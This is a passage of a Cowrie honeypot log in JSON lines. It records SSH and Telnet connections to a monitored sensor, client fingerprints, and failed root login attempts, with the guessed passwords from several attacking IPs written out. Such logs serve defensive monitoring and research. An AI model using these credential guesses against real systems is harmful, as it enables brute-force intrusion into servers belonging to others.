cdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:07.536676Z","src_ip":"95.58.255.251","session":"05c1d68b67d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dts","message":"login attempt [root/dts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:08.256734Z","src_ip":"95.58.255.251","session":"05c1d68b67d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":35572,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc73e38a74a6","protocol":"ssh","message":"New connection: 192.169.243.246:35572 (159.203.135.109:22) [session: cc73e38a74a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:09.294625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:09.299149Z","src_ip":"192.169.243.246","session":"cc73e38a74a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:09.371690Z","src_ip":"192.169.243.246","session":"cc73e38a74a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:09.431224Z","src_ip":"95.58.255.251","session":"05c1d68b67d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2008","message":"login attempt [root/2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:09.692178Z","src_ip":"192.169.243.246","session":"cc73e38a74a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:10.768721Z","src_ip":"192.169.243.246","session":"cc73e38a74a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.151","src_port":51452,"dst_ip":"159.203.135.109","dst_port":22,"session":"639aaa4cd827","protocol":"ssh","message":"New connection: 45.148.10.151:51452 (159.203.135.109:22) [session: 639aaa4cd827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:32.572470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:32.577397Z","src_ip":"45.148.10.151","session":"639aaa4cd827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:32.667232Z","src_ip":"45.148.10.151","session":"639aaa4cd827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:33.041538Z","src_ip":"45.148.10.151","session":"639aaa4cd827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.239.127.10","src_port":52554,"dst_ip":"159.203.135.109","dst_port":23,"session":"1884c78520c8","protocol":"telnet","message":"New connection: 189.239.127.10:52554 (159.203.135.109:23) [session: 1884c78520c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:02:59.571187Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":59608,"dst_ip":"10.17.0.5","dst_port":22,"session":"a018d72ee095","protocol":"ssh","message":"New connection: 43.162.109.147:59608 (10.17.0.5:22) [session: a018d72ee095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:01.830422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:01.837870Z","src_ip":"43.162.109.147","session":"a018d72ee095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:01.908814Z","src_ip":"43.162.109.147","session":"a018d72ee095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch12345","message":"login attempt [root/Netwatch12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:02.213483Z","src_ip":"43.162.109.147","session":"a018d72ee095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:03.287684Z","src_ip":"43.162.109.147","session":"a018d72ee095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.392505884170532,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:11.963606Z","src_ip":"189.239.127.10","session":"1884c78520c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":34876,"dst_ip":"159.203.135.109","dst_port":22,"session":"a667edf6db36","protocol":"ssh","message":"New connection: 192.169.243.246:34876 (159.203.135.109:22) [session: a667edf6db36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:19.073916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:19.078648Z","src_ip":"192.169.243.246","session":"a667edf6db36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:19.154173Z","src_ip":"192.169.243.246","session":"a667edf6db36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d71yq87e","message":"login attempt [root/d71yq87e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:19.475653Z","src_ip":"192.169.243.246","session":"a667edf6db36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":43976,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c69481a1e2a","protocol":"ssh","message":"New connection: 95.58.255.251:43976 (10.17.0.5:22) [session: 8c69481a1e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:19.496439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:19.501597Z","src_ip":"95.58.255.251","session":"8c69481a1e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:19.667916Z","src_ip":"95.58.255.251","session":"8c69481a1e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"analytics","message":"login attempt [root/analytics] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:20.359216Z","src_ip":"95.58.255.251","session":"8c69481a1e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:20.550474Z","src_ip":"192.169.243.246","session":"a667edf6db36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":55750,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf134b933a3","protocol":"ssh","message":"New connection: 144.91.86.102:55750 (10.17.0.5:22) [session: 6cf134b933a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:21.086694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:21.091409Z","src_ip":"144.91.86.102","session":"6cf134b933a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:21.184648Z","src_ip":"144.91.86.102","session":"6cf134b933a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:21.526613Z","src_ip":"95.58.255.251","session":"8c69481a1e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:21.591547Z","src_ip":"144.91.86.102","session":"6cf134b933a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:22.687585Z","src_ip":"144.91.86.102","session":"6cf134b933a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":48240,"dst_ip":"159.203.135.109","dst_port":22,"session":"718885bd84f2","protocol":"ssh","message":"New connection: 200.108.174.4:48240 (159.203.135.109:22) [session: 718885bd84f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:30.215240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:30.222035Z","src_ip":"200.108.174.4","session":"718885bd84f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:30.373034Z","src_ip":"200.108.174.4","session":"718885bd84f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword!","message":"login attempt [root/P4ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:31.007820Z","src_ip":"200.108.174.4","session":"718885bd84f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:32.162770Z","src_ip":"200.108.174.4","session":"718885bd84f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":52760,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a89ffac1ec0","protocol":"telnet","message":"New connection: 167.71.238.254:52760 (10.17.0.5:23) [session: 3a89ffac1ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:36.738268Z"}
{"eventid":"cowrie.session.closed","duration":10.558170080184937,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:03:47.296316Z","src_ip":"167.71.238.254","session":"3a89ffac1ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":49948,"dst_ip":"10.17.0.5","dst_port":22,"session":"000717def27c","protocol":"ssh","message":"New connection: 43.162.109.147:49948 (10.17.0.5:22) [session: 000717def27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:09.249850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:09.258878Z","src_ip":"43.162.109.147","session":"000717def27c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:09.326915Z","src_ip":"43.162.109.147","session":"000717def27c","protocol":"ssh"}
